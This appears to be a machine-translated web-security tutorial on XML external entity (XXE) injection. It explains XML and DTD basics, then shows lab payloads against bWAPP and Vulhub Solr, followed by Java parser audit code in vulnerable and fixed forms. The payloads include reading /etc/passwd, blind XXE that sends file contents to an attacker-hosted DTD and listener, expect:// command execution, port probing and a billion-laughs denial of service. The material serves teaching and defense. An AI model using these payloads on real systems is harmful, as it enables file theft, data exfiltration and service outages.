WEB Security
To understand XXE, you need to understand the basics of XML before that
XML Foundation
XML syntax
- All XML elements must have a close tag
- XML tags are case sensitive
- XML must be nested correctly
- The XML document must have a root element
- XML attribute values must be quoted
For entity references, there may be < > symbols in tag attributes and corresponding position values, but these symbols have special meanings in the corresponding XML. At this time, we must use the corresponding representation of the entity corresponding to html. For example, the entity corresponding to < is <, and the entity corresponding to > symbol is >
In XML, spaces will be reserved, such as < p > a space B < / P >, and the spaces between a and B will be reserved
XML structure
XML document declaration
<?xml version="1.0" encoding="utf-8"?>
element
Elements are the main building blocks of XML and HTML documents. Elements can contain text, other elements, or empty.
<body>body text in between</body> <message>some message in between</message>
Empty elements include: hr, br, img
attribute
Property provides additional information about the element
<img src="computer.gif"/>
Where src is the attribute
entity
Reference article: (38 messages) concept of entity in xml_ janchin's column - CSDN blog_ xml entity
There are four types of entities:
- Character entity
- Named entity
- External entity
- Parameter entity
Document type definition -- DTD
DTD is used to standardize XML document format. It can not only explain which elements / attributes are legal and how elements should be nested / combined, but also customize some special characters and reusable code segments as entities
DTD s can be embedded in XML documents (internal declarations) or stored as separate files (external references)
Reference article: Introduction to DTD (w3school.com.cn)
DTD internal declaration
If the DTD is included in your XML source file, it should be wrapped in a DOCTYPE declaration with the following syntax:
<! DOCTYPE root element [element declaration] >
Internal declaration DTD example
<?xml version="1.0"?> <!DOCTYPE note [ <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> ]> <note> <to>George</to> <from>John</from> <heading>Reminder</heading> <body>Don't forget the meeting!</body> </note>
The above DTD is explained as follows:
- ! DOCTYPE note (second line) defines that this document is a note type document.
- ! ELEMENT note (the third line) defines that the note element has four elements: "to, from, heading, and body"
- ! ELEMENT to (line 4) defines the to element as the "#PCDATA" type
- ! ELEMENT from (line 5) defines the from element as the "#PCDATA" type
- ! ELEMENT heading (line 6) defines the heading element as the "#PCDATA" type
- ! ELEMENT body (line 7) defines the body element as the "#PCDATA" type
DTD external reference
If the DTD is located outside the XML source file, it should be encapsulated in a DOCTYPE definition through the following syntax:
<! DOCTYPE root element SYSTEM "filename" >
This XML document is the same as the above XML document, but has an external DTD:
<?xml version="1.0"?> <!DOCTYPE note SYSTEM "note.dtd"> <note> <to>George</to> <from>John</from> <heading>Reminder</heading> <body>Don't forget the meeting!</body> </note>
note.dtd:
<!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)>
PCDATA
PCDATA means parsed character data.
PCDATA is the text that will be parsed by the parser. These texts will be checked by the parser for entities and tags. The tags in the text will be treated as tags, and the entities will be expanded. It is worth noting that PCDATA should not contain &, < and > characters. It needs to be replaced with & < > entities, or CDATA
CDATA
CDATA means character data.
CDATA is text that will not be parsed by the parser.
In XML &, < characters are illegal because the parser will interpret < as the beginning of a new element and & as the beginning of a character entity. Therefore, when we need to use code containing a large number of &, < characters, we can use CDATA
CDATA ends with. CDATA cannot contain]] > string, nor can it nest CDATA. The ending]] > string cannot contain any spaces and newlines
DTD entity
Reference article: DTD - entity (w3school.com.cn)
A DTD entity is a variable used to define a shortcut that references ordinary text or special characters. It can be declared internally or referenced externally.
Entities are divided into general entities and parameter entities
1. General entity declaration syntax:
Method of referencing entity: & entity name;
2. Parameter entities can only be used in DTD s. The declaration format of parameter entities:
Method of referencing entity:% entity name;
Internal entity
<!ENTITY writer "Bill Gates"> <!ENTITY copyright "Copyright W3School.com.cn"> <author>&writer;©right;</author>
External entity
External entity, used to introduce external resources. There are two keywords: SYSTEM and PUBLIC, indicating whether the entity comes from the local computer or the PUBLIC computer
<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd"> <!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd"> <author>&writer;©right;</author>
Different programs support different protocols
LIBXML2 | PHP | JAVA | .NET |
---|---|---|---|
file | file | http | file |
http | http | https | http |
ftp | ftp | ftp | https |
php | file | ftp | |
compress.zlib | jar | ||
compress.bzip2 | netdoc | ||
data | mailto | ||
glob | gopher * | ||
phar |
php supports more protocols, but it needs some extension support.
XXE
XXE refers to XML external entity injection. It can be seen from the above that external entities refer to DTD external entities. The reason for XXE is that malicious external files can be loaded by parsing malicious external entities when parsing XML, resulting in file reading, command execution, intranet port scanning, attacking intranet websites, launching dos attacks, etc
How to judge
How to determine whether XXE exists
Take bwapp shooting range as an example
First, check the http header to see if there are XML related strings
Then judge whether the XML content is parsed
After discovering the modified content, the server parses the corresponding content
XXE possible hazards
read file
The main use is to use XXE to read files. Here I use bwapp shooting range as the environment
When I build the environment, I use the environment with php version 5.2.17. I use phpstudy. If the php version is greater than 5.2.17 or if I use the docker environment (php version 5.5.9), there will be no echo. Of course, it may be just my environment problem, but if I use the correct payload for injection with low difficulty, an error occurred will be displayed! If possible, you can try my method
Echo
First, enter the XXE vulnerability test interface
http://192.168.0.105/bwapp/xxe-1.php
After packet capturing, text/xml is found
By modifying the data, observe whether the server will parse the XML content
Make sure that the server will parse the XML content, and you can construct the injection by yourself
<?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE test[ <!ENTITY bee SYSTEM "file:///d:/robots.txt"> ]> <reset><login>&bee;</login><secret>Any bugs?</secret></reset>
The external entity "bee" of XML is given the following values: file:///d:/robots.txt , when parsing an XML document, bee is replaced with file:///d:/robots.txt Content of the. It was echoed back.
No echo (Blind XXE)
However, in the actual environment, XML is not used for output most of the time, so there will be no output most of the time. In this way, even if the XML is parsed, the file cannot be read directly, so we need to bring out data and send the data for reading
Range environment: Vulhub - Docker-Compose file for vulnerability environment
After setting up the environment, enter this page first http://192.168.3.25:8983/solr/#/demo/query Then click submit to capture the packet and send the packet to the replay device
Create a dtd file on the local host (using bridging) or ECs, which can connect the target server to the ip host anyway
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % dtd "<!ENTITY data SYSTEM ':%file;'>">
Modify the payload in the package after creation
/solr/demo/select?\_=1641268411205&q=<%3fxml+version%3d"1.0"+%3f><!DOCTYPE+hack[<!ENTITY+%25+send+SYSTEM+"http%3a//192.168.3.35/xxe.dtd">%25send%3b%25dtd%3b]><r>%26data%3b</r>&wt=xml&defType=xmlparser
The payload is decoded as
<?xml version="1.0" ?><!DOCTYPE hack[<!ENTITY % send SYSTEM "http://192.168.3.35/xxe.dtd">%send;%dtd;]><r>&data;</r>&wt=xml&defType=xmlparser
be careful, http://192.168.3.35/xxe.dtd This sentence needs to be changed to your own address. At the same time, don't url code & wt = XML & deftype = xmlparser when contracting. Just copy it directly
In the above case, when php reports an error, the data in it will be. If php does not report an error, use the following method
First listen to the port, and then modify the dtd file based on the above
<!ENTITY % file SYSTEM "file:///h:/test.txt"> <!ENTITY % dtd "<!ENTITY data SYSTEM '192.168.3.35:666/?%file;'>">
Attach the listening port to the connection. After sending, you will receive a message at the listening location. If not, you can try to view the server log
Here's someone else's picture
Reference link: XXE vulnerability details - Advanced - FreeBuf network security industry portal
However, I failed to reproduce it here. It may also be the reason why I read the file directly through error reporting, but I still record this situation
Read PHP and other files
Some files, such as php files, contain characters such as < and so on. When reading, the parser will parse these into xml language, resu lt ing in syntax errors. Therefore, in order to avoid this situation, pseudo protocol is used to read
<?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE test[ <!ENTITY bee SYSTEM "php://filter/read=convert.base64-encode/resource=file:///d:/robots.txt"> ]> <reset><login>&bee;</login><secret>Any bugs?</secret></reset>
Port detection
The bwapp range is also used as the environment
The previous process is basically the same, and the injection is constructed after packet capture
The HTTP connection is followed by a port. If the port is open, it will display failed to open stream: HTTP request failed!, Otherwise, it will not be displayed (or failed to open stream: connection repuse! Or 500 status code will be displayed)
I use phpstudy as the environment here, so I open port 3306
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE hack[ <!ENTITY bee SYSTEM "http://192.168.3.25:3306"> ]>
Test port 666. The machine is not turned on, so it takes a long time to obtain the response packet after sending the packet. Finally, an error code of 500 is reported
Test port 1234. The machine is also turned on. It also waits for a short time to obtain the response packet
Remote command execution RCE
The expect protocol is required for RCE, and other protocols may also execute commands
Expect needs to install expect extensions
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE hack[ <!ENTITY bee SYSTEM "expect://whoami"> ]>
DDOS attack
Reference article: XXE from getting started to giving up - Security guest, security information platform (anquanke.com)
<?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "abc"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz>
The attack creates a recursive XML definition and generates one billion "abc" strings in memory, resulting in DDoS attacks. The principle is: constructing a malicious XML entity file exhausts the available memory, because many XML parsers tend to keep its entire structure in memory when parsing XML documents. The parsing is very slow, resulting in a denial of server attack.
Defense XXE
Scheme 1: use the method of disabling external entities provided by the development language
PHP: libxml_disable_entity_loader(true); JAVA:Look at the code audit below Python: Third party module lxml Just change it according to the modified settings from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False)) def xxe(): tree = etree.parse('xml.xml', etree.XMLParser(resolve_entities=False)) # tree = lxml.objectify.parse('xml.xml', etree.XMLParser(resolve_entities=False)) return etree.tostring(tree.getroot()) Try using defusedxml Is a pure Python Software package that modifies all standard libraries XML Subclasses of the parser can prevent any potential malicious operations. For resolving untrusted XML This package is recommended for any server code for data.
Scheme 2: filter XML data submitted by users
Key words: <! DOCTYPE and <! Entity, or SYSTEM and PUBLIC.
XML is not allowed to contain any self declared DTD s
Effective measures: only static DTD s can be used to configure XML parser, and foreign introduction is prohibited; For Java, you can directly set the corresponding property value to false
Reference article: (38 messages) xxe details_ bylfsj's blog - CSDN blog_ xxe
JAVA code audit part
XXE is the English abbreviation of XML External Entity Injection. When developers allow xml to parse external entities, attackers can construct malicious external entities to attack arbitrary file reading, intranet port detection, command execution, denial of service attack and so on.
There are three conditions for generating XXE: first, the XML is parsed, and then the XML is externally controllable. Finally, external entities are not disabled
Common XML interfaces
XMLReader
XMLReader interface is an interface that reads XML documents through callback, which exists in the public area. XMLReader interface is a necessary interface for XML parser to implement SAX2 driver. It allows applications to set and query functions and properties in the parser, register event handlers for document processing, and start document parsing. The XXE vulnerability occurs when XMLReader uses the default parsing method and does not filter XML
SAXBuilder
SAXBuilder is a JDOM parser that can parse XML files in a path into Document objects. SAXBuilder uses a third-party SAX parser to handle parsing tasks and listens for SAX events using an instance of SAXHandler. The XXE vulnerability occurs when SAXBuilder uses the default parsing method and does not filter XML
SAXReader
DOM4J is DOM4J An open source XML parsing package produced by. Org is very simple to use. You can use it as long as you understand the basic XML-DOM model. DOM4J mainly relies on org. Org to read / write XML documents DOM4J. IO package, which has two modes: DOMReader and SAXReader. Because the same interface is used, the calling methods of the two methods are completely consistent. Similarly, the XXE vulnerability occurs when the default parsing method is used and the XML is not filtered.
SAXParserFactory
SAXParserFactory enables applications to configure and obtain SAX based parsers to parse XML documents. Its protected constructor can be forced to use newInstance(). As described above, the XXE vulnerability also occurs when the default parsing method is used and the XML is not filtered.
Digester
The Digester class is used to map XML into Java classes to simplify XML processing. It is a jar package in the Apache Commons Library: the common Digester package. Similarly, the XXE vulnerability will occur in the default configuration. The XXE vulnerability triggered by it is not echoed. We generally need to use the method of Blind XXE
DocumentBuilderFactory
javax. xml. DocumentBuilderFactory in parsers package is used to create parser objects in DOM mode. DocumentBuilderFactory is an abstract factory class, which cannot be instantiated directly, but this class provides a newInstance() method, which will automatically create a factory object and return it according to the parser installed by default on the local platform.
Interface code audit & repair
By understanding the principle of XXE, we know that defending against XXE only needs to do the following
1. XML is not parsed, but sometimes the business needs it
2. Disabling dtd is also impossible in many cases
3. Disable external entities and parameter entities
Most of the time, you can control the behavior of the parser by setting the feature
// This is a priority If DTDs (doctypes) are not allowed, almost all XML entity attacks can be prevented setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); // If DTDs cannot be completely disabled, at least the following measures must be taken, and the two must exist at the same time setFeature("http://xml. Org / Sax / features / external general entities ", false); / / prevent external entity POC setFeature("http://xml. Org / Sax / features / external parameter entities ", false); / / prevent parameter entity POC
If XIclude is enabled, add it before the feature rule
dbf.setXIncludeAware(true); // XInclude support dbf.setNamespaceAware(true); // XInclude support
The following codes are for: java-sec-code/XXE.java at master ยท JoyChou93/java-sec-code (github.com)
XMLReader
try { String body = WebUtils.getRequestBody(request); logger.info(body); XMLReader xmlReader = XMLReaderFactory.createXMLReader(); xmlReader.parse(new InputSource(new StringReader(body))); // parse xml return "xmlReader xxe vuln code"; } catch (Exception e) { logger.error(e.toString()); return EXCEPT; }
Fix code
try { String body = WebUtils.getRequestBody(request); logger.info(body); XMLReader xmlReader = XMLReaderFactory.createXMLReader(); // fix code start xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); xmlReader.setFeature("http://xml.org/sax/features/external-general-entities", false); xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false); //fix code end xmlReader.parse(new InputSource(new StringReader(body))); // parse xml } catch (Exception e) { logger.error(e.toString()); return EXCEPT; }
SAXBuilder
try { String body = WebUtils.getRequestBody(request); logger.info(body); SAXBuilder builder = new SAXBuilder(); // org.jdom2.Document document builder.build(new InputSource(new StringReader(body))); // cause xxe return "SAXBuilder xxe vuln code"; } catch (Exception e) { logger.error(e.toString()); return EXCEPT; }
Repair Code:
try { String body = WebUtils.getRequestBody(request); logger.info(body); SAXBuilder builder = new SAXBuilder(); // fix code start builder.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); builder.setFeature("http://xml.org/sax/features/external-general-entities", false); builder.setFeature("http://xml.org/sax/features/external-parameter-entities", false); // fix code end // org.jdom2.Document document builder.build(new InputSource(new StringReader(body))); } catch (Exception e) { logger.error(e.toString()); return EXCEPT; }
SAXReader
try { String body = WebUtils.getRequestBody(request); logger.info(body); SAXReader reader = new SAXReader(); // org.dom4j.Document document reader.read(new InputSource(new StringReader(body))); // cause xxe } catch (Exception e) { logger.error(e.toString()); return EXCEPT; }
Repair Code:
try { String body = WebUtils.getRequestBody(request); logger.info(body); SAXReader reader = new SAXReader(); // fix code start reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); reader.setFeature("http://xml.org/sax/features/external-general-entities", false); reader.setFeature("http://xml.org/sax/features/external-parameter-entities", false); // fix code end // org.dom4j.Document document reader.read(new InputSource(new StringReader(body))); } catch (Exception e) { logger.error(e.toString()); return EXCEPT; }
SAXParserFactory
try { String body = WebUtils.getRequestBody(request); logger.info(body); SAXParserFactory spf = SAXParserFactory.newInstance(); SAXParser parser = spf.newSAXParser(); parser.parse(new InputSource(new StringReader(body)), new DefaultHandler()); // parse xml return "SAXParser xxe vuln code"; } catch (Exception e) { logger.error(e.toString()); return EXCEPT; }
Repair Code:
try { String body = WebUtils.getRequestBody(request); logger.info(body); SAXParserFactory spf = SAXParserFactory.newInstance(); // fix code start spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); spf.setFeature("http://xml.org/sax/features/external-general-entities", false); spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); // fix code start SAXParser parser = spf.newSAXParser(); parser.parse(new InputSource(new StringReader(body)), new DefaultHandler()); // parse xml } catch (Exception e) { logger.error(e.toString()); return EXCEPT; }
Digester
try { String body = WebUtils.getRequestBody(request); logger.info(body); Digester digester = new Digester(); digester.parse(new StringReader(body)); // parse xml } catch (Exception e) { logger.error(e.toString()); return EXCEPT; }
Repair Code:
try { String body = WebUtils.getRequestBody(request); logger.info(body); Digester digester = new Digester(); // fix code start digester.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); digester.setFeature("http://xml.org/sax/features/external-general-entities", false); digester.setFeature("http://xml.org/sax/features/external-parameter-entities", false); // fix code end digester.parse(new StringReader(body)); // parse xml return "Digester xxe security code"; } catch (Exception e) { logger.error(e.toString()); return EXCEPT; }
DocumentBuilderFactory
Code 1:
try { String body = WebUtils.getRequestBody(request); logger.info(body); DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); DocumentBuilder db = dbf.newDocumentBuilder(); StringReader sr = new StringReader(body); InputSource is = new InputSource(sr); Document document = db.parse(is); // parse xml // Traversing xml nodes name and value StringBuilder buf = new StringBuilder(); NodeList rootNodeList = document.getChildNodes(); for (int i = 0; i < rootNodeList.getLength(); i++) { Node rootNode = rootNodeList.item(i); NodeList child = rootNode.getChildNodes(); for (int j = 0; j < child.getLength(); j++) { Node node = child.item(j); buf.append(String.format("%s: %s\n", node.getNodeName(), node.getTextContent())); } } sr.close(); return buf.toString(); } catch (Exception e) { logger.error(e.toString()); return EXCEPT; }
Code 2:
try { String body = WebUtils.getRequestBody(request); logger.info(body); DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); DocumentBuilder db = dbf.newDocumentBuilder(); StringReader sr = new StringReader(body); InputSource is = new InputSource(sr); Document document = db.parse(is); // parse xml // Traversing xml nodes name and value StringBuilder result = new StringBuilder(); NodeList rootNodeList = document.getChildNodes(); for (int i = 0; i < rootNodeList.getLength(); i++) { Node rootNode = rootNodeList.item(i); NodeList child = rootNode.getChildNodes(); for (int j = 0; j < child.getLength(); j++) { Node node = child.item(j); // When parsing XML normally, you need to judge whether it is ELEMENT_NODE type. Otherwise, redundant nodes will appear. if (child.item(j).getNodeType() == Node.ELEMENT_NODE) { result.append(String.format("%s: %s\n", node.getNodeName(), node.getFirstChild())); } } } sr.close(); return result.toString(); } catch (Exception e) { logger.error(e.toString()); return EXCEPT; }
Repair Code:
try { String body = WebUtils.getRequestBody(request); logger.info(body); DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); DocumentBuilder db = dbf.newDocumentBuilder(); StringReader sr = new StringReader(body); InputSource is = new InputSource(sr); db.parse(is); // parse xml sr.close(); } catch (Exception e) { logger.error(e.toString()); return EXCEPT; }
Code 3, support XInclude:
What is XInclude
Xinclude is XML Include. In fact, it is file inclusion. It can make the code more concise when it plays a great role. When you need to use the content, you can include the file. You can refer to php include
try { String body = WebUtils.getRequestBody(request); logger.info(body); DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setXIncludeAware(true); // XInclude support dbf.setNamespaceAware(true); // XInclude support DocumentBuilder db = dbf.newDocumentBuilder(); StringReader sr = new StringReader(body); InputSource is = new InputSource(sr); Document document = db.parse(is); // parse xml NodeList rootNodeList = document.getChildNodes(); response(rootNodeList); sr.close(); return "DocumentBuilder xinclude xxe vuln code"; } catch (Exception e) { logger.error(e.toString()); return EXCEPT; }
Repair code;
try { String body = WebUtils.getRequestBody(request); logger.info(body); DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setXIncludeAware(true); // XInclude support dbf.setNamespaceAware(true); // XInclude support dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); DocumentBuilder db = dbf.newDocumentBuilder(); StringReader sr = new StringReader(body); InputSource is = new InputSource(sr); Document document = db.parse(is); // parse xml NodeList rootNodeList = document.getChildNodes(); response(rootNodeList); sr.close(); } catch (Exception e) { logger.error(e.toString()); return EXCEPT; }
XMLReader&SAXParserFactory
try { String body = WebUtils.getRequestBody(request); logger.info(body); SAXParserFactory spf = SAXParserFactory.newInstance(); SAXParser saxParser = spf.newSAXParser(); XMLReader xmlReader = saxParser.getXMLReader(); xmlReader.parse(new InputSource(new StringReader(body))); } catch (Exception e) { logger.error(e.toString()); return EXCEPT; }
Repair Code:
try { String body = WebUtils.getRequestBody(request); logger.info(body); SAXParserFactory spf = SAXParserFactory.newInstance(); SAXParser saxParser = spf.newSAXParser(); XMLReader xmlReader = saxParser.getXMLReader(); xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); xmlReader.setFeature("http://xml.org/sax/features/external-general-entities", false); xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false); xmlReader.parse(new InputSource(new StringReader(body))); } catch (Exception e) { logger.error(e.toString()); return EXCEPT; }
DocumentHelper
try { String body = WebUtils.getRequestBody(req); DocumentHelper.parseText(body); // parse xml } catch (Exception e) { logger.error(e.toString()); return EXCEPT; }
To fix this vulnerability, you only need to upgrade dom4j to 2.1.1 or above, which disables ENTITY;
PoC without ENTITY cannot be used, so disabling ENTITY can complete the repair.
Reference article & Code:
Network security java code audit
Java XXE test case details (qq.com)
XXE vulnerability principle and defense method - Ruilin (rui0.cn)